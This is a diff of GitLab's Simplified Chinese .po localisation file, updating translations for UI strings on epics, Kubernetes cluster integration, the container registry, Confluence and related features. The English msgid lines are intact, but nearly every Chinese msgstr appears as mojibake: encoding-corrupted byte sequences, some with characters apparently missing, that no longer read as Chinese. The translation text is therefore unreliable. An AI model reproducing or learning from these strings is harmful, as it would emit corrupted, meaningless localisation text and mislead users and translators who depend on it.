msgstr "ä¸èƒ½åŒæ—¶è¿è¡Œå¤šä¸ªJira导入"
msgid "Cannot have multiple unresolved alerts"
-msgstr ""
+msgstr "ä¸èƒ½æœ‰å¤šä¸ªæœªè§£å†³çš„警报"
msgid "Cannot import because issues are not available in this project."
msgstr "无法导入,因为议题在此项目中ä¸å¯ç”¨ã€‚"
-msgid "Cannot make epic confidential if it contains not-confidential issues"
-msgstr "如果å²è¯—包å«éžæœºå¯†æ€§è®®é¢˜ï¼Œåˆ™æ— æ³•å°†å²è¯—设置为机密。"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
+msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
-msgstr "如果å²è¯—包å«éžæœºå¯†å­äº‹å®žï¼Œåˆ™æ— æ³•å°†å²è¯—设置为机密。"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
+msgstr ""
msgid "Cannot merge"
msgstr "无法åˆå¹¶"
@@ -4239,8 +4353,8 @@ msgstr "由于æƒé™ä¸è¶³ï¼Œæ— æ³•æå‡è®®é¢˜ã€‚"
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr "无法通过内部ID引用群组%{timebox_type}ï¼"
-msgid "Cannot set confidential epic for not-confidential issue"
-msgstr "无法为éžæœºå¯†è®®é¢˜çš„设置ä¿å¯†å²è¯—。"
+msgid "Cannot set confidential epic for a non-confidential issue"
+msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
msgstr "无法显示预览。如需预览,è‰å›¾æ–‡ä»¶å¿…须具有Sketch 43åŠä»¥ä¸Šç‰ˆæœ¬çš„文件格å¼ã€‚"
@@ -4252,7 +4366,7 @@ msgid "Capacity threshold"
msgstr "容é‡é˜ˆå€¼"
msgid "Certain user content will be moved to a system-wide \"Ghost User\" in order to maintain content for posterity. For further information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
-msgstr "特定用户内容将被移动到系统级“幽çµç”¨æˆ·â€ï¼Œä»¥ä¿æŒçš„内容供日åŽä½¿ç”¨ã€‚ 欲了解更多信æ¯ï¼Œè¯·å‚阅 %{link_start}用户å¸æˆ·åˆ é™¤æ–‡æ¡£ã€‚%{link_end}"
+msgstr "此用户内容将被移动到系统级“幽çµç”¨æˆ·â€ï¼Œä»¥ä¿ç•™ä¾›æœªæ¥éœ€è¦æ—¶ä½¿ç”¨ã€‚ 欲了解更多信æ¯ï¼Œè¯·å‚阅%{link_start}用户å¸æˆ·åˆ é™¤æ–‡æ¡£%{link_end}。"
msgid "Certificate"
msgstr "è¯ä¹¦"
@@ -4336,10 +4450,10 @@ msgid "Changes"
msgstr "å˜æ›´"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
-msgstr ""
+msgstr "更改仅影å“新的仓库。如果未指定,将使用Git的默认å称%{branch_name_default}。"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
-msgstr ""
+msgstr "差异显示方å¼ä¾%{b_open}æº%{b_close}版本åˆå¹¶åˆ°%{b_open}目标%{b_close}版本的形å¼ã€‚"
msgid "Changes are still tracked. Useful for cluster/index migrations."
msgstr "å˜æ›´ä»è¢«è·Ÿè¸ªã€‚å¯ç”¨äºŽé›†ç¾¤/索引è¿ç§»ã€‚"
@@ -4357,7 +4471,7 @@ msgid "Changing a Release tag is only supported via Releases API. %{linkStart}Mo
msgstr "åªå¯ä»¥é€šè¿‡Releases API更改å‘布标签。 %{linkStart}更多信æ¯%{linkEnd}"
msgid "Changing group URL can have unintended side effects."
-msgstr ""
+msgstr "更改群组URLå¯èƒ½ä¼šæœ‰æ„想ä¸åˆ°çš„副作用。"
msgid "Channel handle (e.g. town-square)"
msgstr "频é“è´¦å·(例如town-square)"
@@ -4425,9 +4539,6 @@ msgstr "检查命å空间方案的功能å¯ç”¨æ€§"
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "查看%{docs_link_start}文档%{docs_link_end}。"
-msgid "Check your .gitlab-ci.yml"
-msgstr "检查您的.gitlab-ci.yml"
-
msgid "Check your Docker images for known vulnerabilities."
msgstr "检查您的Dockeré•œåƒæ˜¯å¦å­˜åœ¨å·²çŸ¥æ¼æ´ž."
@@ -4441,7 +4552,7 @@ msgid "Checking branch availability..."
msgstr "正在检查分支的å¯ç”¨æ€§..."
msgid "Checking group URL availability..."
-msgstr ""
+msgstr "正在检查群组URL是å¦å¯ç”¨..."
msgid "Checking group path availability..."
msgstr "正在检查群组路径是å¦å¯ç”¨..."
@@ -4609,10 +4720,10 @@ msgid "Child epic doesn't exist."
msgstr "å­å²è¯—ä¸å­˜åœ¨ã€‚"
msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
+msgstr "选择%{strong_open}创建归档%{strong_close}并等待创建过程完æˆã€‚"
msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
+msgstr "选择页é¢åº•éƒ¨çš„%{strong_open}下一步%{strong_close}。"
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "选择分支/标签(例如%{master})或输入æ交(例如%{sha})以查看更改内容或创建åˆå¹¶è¯·æ±‚。"
@@ -4639,13 +4750,13 @@ msgid "Choose any color."
msgstr "选择任何颜色。"
msgid "Choose between %{code_open}clone%{code_close} or %{code_open}fetch%{code_close} to get the recent application code"
-msgstr ""
+msgstr "选择%{code_open}clone%{code_close}或%{code_open}fetch%{code_close}以获å–最近的应用程åºä»£ç "
msgid "Choose file…"
msgstr "选择文件…"
msgid "Choose labels"
-msgstr ""
+msgstr "选择标记"
msgid "Choose the top-level group for your repository imports."
msgstr "选择仓库导入的顶级群组。"
@@ -4653,8 +4764,8 @@ msgstr "选择仓库导入的顶级群组。"
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr "选择å¯è§æ€§çº§åˆ«ï¼Œå¯ç”¨/ç¦ç”¨é¡¹ç›®åŠŸèƒ½ï¼ˆè®®é¢˜ï¼Œä»“库,wiki,代ç ç‰‡æ®µï¼‰å¹¶è®¾ç½®æƒé™ã€‚"
-msgid "Choose what content you want to see on a group’s overview page"
-msgstr "选择è¦åœ¨ç¾¤ç»„概述页é¢ä¸Šçœ‹åˆ°çš„内容"
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr "请选择è¦è¿žæŽ¥å¹¶è¿è¡Œ CI/CD æµæ°´çº¿çš„代ç ä»“库。"
@@ -4819,11 +4930,17 @@ msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "ä¸å¯ç”¨: %{reason}"
msgid "Cleanup policy for tags"
+msgstr "标签清ç†ç­–ç•¥"
+
+msgid "Cleanup policy maximum processing time (seconds)"
msgstr ""
msgid "Clear"
msgstr "清除"
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr "清除图表过滤器"
@@ -4858,10 +4975,10 @@ msgid "Clears weight."
msgstr "清除æƒé‡"
msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
-msgstr ""
+msgstr "点击%{strong_open}下载%{strong_close}按钮,等待下载完æˆã€‚"
msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
-msgstr ""
+msgstr "请点击å³è¾¹çš„%{strong_open}æ— %{strong_close}按钮,因为我们åªéœ€è¦\"Google Code Project Hosting\"。"
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
msgstr "点击下é¢çš„按钮转到Kubernetes页é¢å¼€å§‹å®‰è£…过程"
@@ -4927,6 +5044,9 @@ msgid "Closed"
msgstr "已关闭"
msgid "Closed %{epicTimeagoDate}"
+msgstr "关闭于%{epicTimeagoDate}"
+
+msgid "Closed epics"
msgstr ""
msgid "Closed issues"
@@ -4962,20 +5082,26 @@ msgstr "集群级别"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr "Stages::ClusterEndpointInserter需è¦é›†ç¾¤ç±»åž‹"
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
-msgstr "%{custom_domain_start}更多信æ¯%{custom_domain_end}。"
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
-msgstr "æ­¤æ“作将永久删除下列资æºï¼š <ul> <li>所有已安装的应用程åºå’Œç›¸å…³èµ„æº</li> <li> <code>GitLab管ç†çš„应用</code> 命å空间</li> <li>任何项目命å空间</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
-msgstr "也å¯ä»¥ç”¨æ¥ä»£æ›¿è‡ªå®šä¹‰åŸŸã€‚"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} å·²æˆåŠŸå®‰è£…到Kubernetes集群上"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
-msgstr "%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
+msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
msgstr "%{title} å·²æˆåŠŸå¸è½½ã€‚"
@@ -4984,7 +5110,7 @@ msgid "ClusterIntegration|%{title} updated successfully."
msgstr "%{title}æ›´æ–°æˆåŠŸã€‚"
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
-msgstr ""
+msgstr "集群管ç†é¡¹ç›®å¯ä»¥ä½¿ç”¨Kubernetes%{code_open}cluster-admin%{code_close}æƒé™æ¥è¿è¡Œéƒ¨ç½²ä½œä¸šã€‚"
msgid "ClusterIntegration|A service token scoped to %{code}kube-system%{end_code} with %{code}cluster-admin%{end_code} privileges."
msgstr "在%{code}kube-system%{end_code}具有%{code}cluster-admin%{end_code}æƒé™çš„æœåŠ¡ä»¤ç‰Œ"
@@ -5022,14 +5148,17 @@ msgstr "所有未æ交到GitLabçš„æ•°æ®å°†è¢«åˆ é™¤ä¸”无法还原。"
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr "所有数æ®å°†è¢«åˆ é™¤ï¼Œæ— æ³•æ¢å¤ã€‚"
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr "å…许 GitLab 管ç†æ­¤é›†ç¾¤çš„命å空间和æœåŠ¡è´¦æˆ·ã€‚"
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr "å…许GitLab管ç†æ­¤ç¾¤é›†çš„命å空间和æœåŠ¡è´¦æˆ·ã€‚%{startLink}更多信æ¯%{endLink}"
-msgid "ClusterIntegration|Alternatively"
-msgstr "此外,"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -5046,6 +5175,9 @@ msgstr "å°è¯•èŽ·å–您的项目时å‘生错误:%{error}"
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr "å°è¯•èŽ·å–设备类型时å‘生错误:%{error}"
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr "任何正在è¿è¡Œçš„æµæ°´çº¿å°†è¢«å–消。"
@@ -5085,15 +5217,12 @@ msgstr "在VPC中选择è¿è¡Œå·¥ä½œèŠ‚点的%{startLink}å­ç½‘%{externalLinkIcon
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr "选择工作节点的%{startLink}实例类型%{externalLinkIcon}%{endLink}。"
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "选择è¦åœ¨ Kubernetes 群集上安装的应用程åºã€‚安装以下任何一个应用å‰éœ€è¦å…ˆå®‰è£…Helm Tiller。"
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "请选择使用此Kubernetes群集的环境。"
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr "清除集群缓存"
@@ -5116,6 +5245,9 @@ msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancesto
msgstr "层级中最低且匹é…环境范围的集群将会被使用。例如,项目群集将优先于群组群集。"
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
+msgstr "层级中最低且匹é…环境范围的集群将会被使用。例如,项目群集将优先于群组群集。%{linkStart}更多信æ¯%{linkEnd}"
+
+msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
msgid "ClusterIntegration|Copy API URL"
@@ -5227,7 +5359,7 @@ msgid "ClusterIntegration|Environment scope"
msgstr "环境范围"
msgid "ClusterIntegration|Environment scope is required."
-msgstr ""
+msgstr "环境范围是必需的。"
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "æ¯ä¸ªæ–°çš„ Google äº‘å¹³å° (GCP) å¸æˆ·ä½¿ç”¨æ­¤é“¾æŽ¥ %{sign_up_link} å¯ä»¥æ”¶åˆ° 价值300美元的å…è´¹é¢åº¦ã€‚通过与Google çš„åˆä½œï¼ŒGitLabå¯ä»¥ä¸ºæ–°æ³¨å†Œçš„和现有的 GCP å¸æˆ·æä¾›é¢å¤– 200 美元的é¢åº¦ï¼Œä»¥æ–¹ä¾¿å®žçŽ°GitLabå’Œ Google Kubernetes引擎的集æˆã€‚"
@@ -5263,7 +5395,7 @@ msgid "ClusterIntegration|Fluentd is an open source data collector, which lets y
msgstr "Fluentd是一个开æºæ•°æ®æ”¶é›†å™¨ï¼Œå¯ä»¥ç»Ÿä¸€æ•°æ®æ”¶é›†å’Œåˆ©ç”¨ï¼Œä»¥ä¾¿æ›´å¥½åœ°ä½¿ç”¨å’Œäº†è§£æ•°æ®ã€‚它è¦æ±‚至少安装一个以下日志。"
msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
+msgstr "GitLab容器网络策略"
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab集æˆ"
@@ -5301,9 +5433,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr "Helm版本安装失败"
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helm简化了Kubernetes应用程åºçš„安装和管ç†ã€‚ Tiller在您的Kubernetes集群内部è¿è¡Œï¼Œå¹¶ç®¡ç†å›¾è¡¨çš„å‘布。"
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "如果您正在设置多个群集并使用Auto DevOps,请%{help_link_start}先查阅此处%{help_link_end}。"
@@ -5499,8 +5628,8 @@ msgstr "节点数é‡"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr "节点数必须是数值。"
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "请输入Kubernetes集群的访问信æ¯ã€‚如需帮助,å¯ä»¥é˜…读Kubernetes集群的 %{link_to_help_page}"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "请确ä¿æ‚¨çš„ Google å¸æˆ·ç¬¦åˆä»¥ä¸‹è¦æ±‚:"
@@ -5524,7 +5653,7 @@ msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{
msgstr "Prometheus是一个开æºç›‘控系统,通过%{linkStart}GitLab集æˆ%{linkEnd}æ¥ç›‘控已部署应用。"
msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
+msgstr "通过GitLab容器网络策略ä¿æŠ¤æ‚¨çš„集群,方法是强制规定pods如何相互通信和其他网络端点通信。%{linkStart}了解更多关于é…置网络政策的信æ¯ã€‚%{linkEnd}"
msgid "ClusterIntegration|Provider details"
msgstr "集群详情"
@@ -5718,12 +5847,15 @@ msgstr "å¸è½½ %{title} 时出错"
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr "æ›´æ–°Knative域å时出错。"
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
-msgstr "指定域将å…许您使用%{auto_devops_start}Auto DevOps%{auto_devops_end}中的自动评审应用和自动部署阶段。域å应包å«ä¸ŽåŸŸåŒ¹é…的通é…符DNS。"
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
+msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr "å­ç½‘"
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr "与您的角色关è”çš„Amazon资æºå称(ARN)。如果您没有é…置角色,请首先使用上述å¸æˆ·å’Œå¤–部ID在 %{startAwsLink}Amazon Web Services%{externalLinkIcon}%{endLink} 上创建一个。了解%{startMoreInfoLink}更多信æ¯%{endLink}"
@@ -5763,15 +5895,27 @@ msgstr "该å¸æˆ·éœ€å…·å¤‡åœ¨å¦‚下指定的%{link_to_container_project}中创å»
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr "此选项å…许您在å¯ç”¨RBAC的群集上安装应用程åºã€‚"
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr "è¦åœ¨éƒ¨ç½²åŽè®¿é—®æ‚¨çš„应用程åºï¼Œè¯·å°†é€šé…符 DNS æŒ‡å‘ Knative 节点。"
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr "è¦åˆ é™¤é›†æˆå’Œèµ„æºï¼Œè¯·è¾“å…¥%{clusterName}以确认:"
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr "è¦åˆ é™¤é›†æˆï¼Œè¯·è¾“å…¥%{clusterName}以确认:"
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr "å¸è½½ %{appTitle}"
@@ -5796,6 +5940,9 @@ msgstr "验è¯é¡¹ç›®è´¦å•çŠ¶æ€"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr "无法验è¯æ‚¨åœ¨ GCP 上的æŸä¸ªé¡¹ç›®æ˜¯å¦å¯ç”¨äº†è®¡è´¹ã€‚请é‡è¯•ã€‚"
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "使用与此项目关è”çš„Kubernetes集群,å¯ä»¥æ–¹ä¾¿åœ°ä½¿ç”¨è¯„审应用,部署应用程åºï¼Œè¿è¡Œæµæ°´çº¿ç­‰ç­‰ã€‚"
@@ -5811,9 +5958,6 @@ msgstr "您å³å°†ä»Žæ‚¨çš„集群中å¸è½½ %{appTitle}。"
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr "您å³å°†åœ¨ç¾¤é›†ä¸Šæ›´æ–°%{appTitle}。"
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr "在安装以下应用程åºä¹‹å‰ï¼Œå¿…须先安装Helm Tiller"
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr "您必须授予对组织的AWS资æºçš„访问æƒé™ï¼Œæ‰èƒ½åˆ›å»ºæ–°çš„EKS集群。è¦æŽˆäºˆè®¿é—®æƒé™ï¼Œè¯·ä½¿ç”¨ä¸‹é¢çš„å¸æˆ·å’Œå¤–部ID创建供应角色,并å‘æä¾›ARN。"
@@ -5844,8 +5988,8 @@ msgstr "地域"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "访问 Google Kubernetes Engine"
-msgid "ClusterIntegration|documentation"
-msgstr "文档"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr "通过%{linkStart}Cloud Run%{linkEnd}安装"
@@ -5923,10 +6067,10 @@ msgid "Code owners"
msgstr "代ç æ‰€æœ‰è€…"
msgid "CodeIntelligence|This is the definition"
-msgstr ""
+msgstr "此处为定义"
msgid "CodeNavigation|No references found"
-msgstr ""
+msgstr "找ä¸åˆ°å¼•ç”¨"
msgid "CodeOwner|Pattern"
msgstr "模å¼"
@@ -6021,6 +6165,12 @@ msgstr "对%{startLine}到%{endLine}行的评论"
msgid "Comment/Reply (quoting selected text)"
msgstr "评论/å›žå¤ (引用选定的文本)"
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "评论"
@@ -6080,7 +6230,7 @@ msgid "Commits to"
msgstr "æ交到"
msgid "Commits you select appear here. Go to the first tab and select commits to add to this merge request."
-msgstr ""
+msgstr "您选择的æ交出现在这里。转到第一个选项å¡ï¼Œç„¶åŽé€‰æ‹©æ交以添加到此åˆå¹¶è¯·æ±‚中。"
msgid "Commits|An error occurred while fetching merge requests data."
msgstr "获å–åˆå¹¶è¯·æ±‚æ•°æ®æ—¶å‡ºé”™"
@@ -6143,7 +6293,7 @@ msgid "Complete"
msgstr "完æˆ"
msgid "Completed"
-msgstr ""
+msgstr "已完æˆ"
msgid "Compliance"
msgstr "åˆè§„"
@@ -6220,8 +6370,8 @@ msgstr "é…ç½®Promethes"
msgid "Configure Tracing"
msgstr "é…置跟踪"
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
-msgstr "在 <code>.gitlab</code> 目录中é…ç½® <code>.gitlab-webide.yml</code> 文件以开始使用Web终端。 %{helpStart}了解更多。%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
msgstr "在仓库上é…置自动git检查和仓库整ç†ã€‚"
@@ -6233,7 +6383,7 @@ msgid "Configure limit for issues created per minute by web and API requests."
msgstr "é…ç½®æ¯åˆ†é’Ÿç”±ç½‘页和API请求创建议题数的é™åˆ¶ã€‚"
msgid "Configure limits for Project/Group Import/Export."
-msgstr ""
+msgstr "é…置项目/群组的导入/导出é™åˆ¶ã€‚"
msgid "Configure limits for web and API requests."
msgstr "é…ç½® web å’Œ API 请求é™åˆ¶ã€‚"
@@ -6266,22 +6416,22 @@ msgid "Confirmation required"
msgstr "需è¦ç¡®è®¤"
msgid "Confluence"
-msgstr ""
+msgstr "Confluence"
msgid "ConfluenceService|Confluence Workspace"
-msgstr ""
+msgstr "Confluence工作区"
msgid "ConfluenceService|Connect a Confluence Cloud Workspace to your GitLab project"
-msgstr ""
+msgstr "将Confluence Cloud Workspace连接到您的GitLab项目"
msgid "ConfluenceService|Enabling the Confluence Workspace will disable the default GitLab Wiki. Your GitLab Wiki data will be saved and you can always re-enable it later by turning off this integration"
-msgstr ""
+msgstr "å¯ç”¨Confluence工作区将ç¦ç”¨é»˜è®¤çš„GitLab Wiki。您的GitLab Wikiæ•°æ®å°†è¢«ä¿å­˜ï¼Œæ‚¨ä»¥åŽéšæ—¶å¯ä»¥é€šè¿‡å…³é—­æ­¤é›†æˆæ¥é‡æ–°å¯ç”¨å®ƒ"
msgid "ConfluenceService|The URL of the Confluence Workspace"
-msgstr ""
+msgstr "Confluence工作区的URL"
msgid "ConfluenceService|Your GitLab Wiki can be accessed here: %{wiki_link}. To re-enable your GitLab Wiki, disable this integration"
-msgstr ""
+msgstr "您的GitLab Wikiå¯ä»¥åœ¨æ­¤è®¿é—®ï¼š %{wiki_link}。è¦é‡æ–°å¯ç”¨æ‚¨çš„GitLab Wiki,请ç¦ç”¨æ­¤é›†æˆ"
msgid "Congratulations! You have enabled Two-factor Authentication!"
msgstr "æ­å–œï¼æ‚¨å·²å¯ç”¨äº†åŒé‡è®¤è¯ï¼"
@@ -6344,13 +6494,13 @@ msgid "Container registry is not enabled on this GitLab instance. Ask an adminis
msgstr "æ­¤GitLab实例上尚未å¯ç”¨å®¹å™¨é•œåƒåº“。请通知管ç†å‘˜å¯ç”¨ä»¥ä¾¿Auto DevOps能够正常工作。"
msgid "Container repositories"
-msgstr ""
+msgstr "容器仓库"
msgid "Container repositories sync capacity"
msgstr "容器镜åƒåº“åŒæ­¥èƒ½åŠ›"
msgid "Container repository"
-msgstr ""
+msgstr "容器仓库"
msgid "ContainerRegistry| Please visit the %{linkStart}administration settings%{linkEnd} to enable this feature."
msgstr "请访问%{linkStart}管ç†è®¾ç½®%{linkEnd}以å¯ç”¨æ­¤åŠŸèƒ½ã€‚"
@@ -6370,7 +6520,7 @@ msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr "%{title}å·²æˆåŠŸå®‰æŽ’删除"
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
-msgstr ""
+msgstr "%{toggleStatus} - 匹é…以下模å¼çš„标签将被安排删除"
msgid "ContainerRegistry|Build an image"
msgstr "构建镜åƒ"
@@ -6379,16 +6529,16 @@ msgid "ContainerRegistry|CLI Commands"
msgstr "CLI命令"
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
-msgstr ""
+msgstr "ç¦ç”¨æ ‡ç­¾æ¸…ç†ç­–ç•¥"
msgid "ContainerRegistry|Cleanup policy successfully saved."
-msgstr ""
+msgstr "清ç†ç­–ç•¥ä¿å­˜æˆåŠŸã€‚"
msgid "ContainerRegistry|Cleanup policy:"
-msgstr ""
+msgstr "清ç†ç­–略:"
msgid "ContainerRegistry|Configuration digest: %{digest}"
-msgstr ""
+msgstr "é…置摘è¦: %{digest}"
msgid "ContainerRegistry|Container Registry"
msgstr "容器镜åƒåº“"
@@ -6406,10 +6556,10 @@ msgid "ContainerRegistry|Delete selected"
msgstr "删除选中项"
msgid "ContainerRegistry|Deletion disabled due to missing or insufficient permissions."
-msgstr ""
+msgstr "由于缺少æƒé™æˆ–æƒé™ä¸è¶³ï¼Œåˆ é™¤åŠŸèƒ½å·²ç¦ç”¨ã€‚"
msgid "ContainerRegistry|Digest: %{imageId}"
-msgstr ""
+msgstr "摘è¦: %{imageId}"
msgid "ContainerRegistry|Docker connection error"
msgstr "Docker连接错误"
@@ -6442,13 +6592,13 @@ msgid "ContainerRegistry|Image tags"
msgstr "é•œåƒæ ‡ç­¾"
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
-msgstr ""
+msgstr "无效标签:缺少æ述摘è¦"
msgid "ContainerRegistry|Login"
msgstr "登录"
msgid "ContainerRegistry|Manifest digest: %{digest}"
-msgstr ""
+msgstr "æ述摘è¦: %{digest}"
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr "æ— æƒé™æˆ–æƒé™ä¸è¶³ï¼Œåˆ é™¤æŒ‰é’®å·²ç¦ç”¨"
@@ -6460,7 +6610,7 @@ msgid "ContainerRegistry|Published %{timeInfo}"
msgstr "å‘布于%{timeInfo}"
msgid "ContainerRegistry|Published to the %{repositoryPath} image repository at %{time} on %{date}"
-msgstr ""
